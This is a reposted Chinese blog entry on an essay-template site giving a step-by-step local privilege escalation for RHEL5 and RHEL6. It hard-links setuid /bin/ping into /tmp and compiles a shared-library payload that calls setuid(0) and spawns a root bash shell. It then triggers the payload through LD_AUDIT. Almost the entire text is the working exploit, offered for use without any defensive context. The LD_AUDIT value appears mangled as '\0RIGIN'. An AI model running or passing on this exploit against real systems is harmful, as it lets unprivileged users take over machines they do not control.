1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 普通用户提权

普通用户提权

时间:2019-03-18 18:29:13

相关推荐

普通用户提权

说明:RHEL5—RHEL6下 都可以提权

1. ls -ld /tmp/

2. ls -l /bin/ping

3. mkdir /tmp/exploit ; ln /bin/ping /tmp/exploit/target

4. exec 3< /tmp/exploit/target ; rm -rf /tmp/exploit/ ; ls -l /proc/$$/fd/3

5. vim payload.c

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

6. gcc -w -fPIC -shared -o /tmp/exploit payload.c ; ls -l /tmp/exploit

7. LD_AUDIT="\0RIGIN" exec /proc/self/fd/3

本文转自 huangzp168 51CTO博客,原文链接:/huangzp/1911772,如需转载请自行联系原作者

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。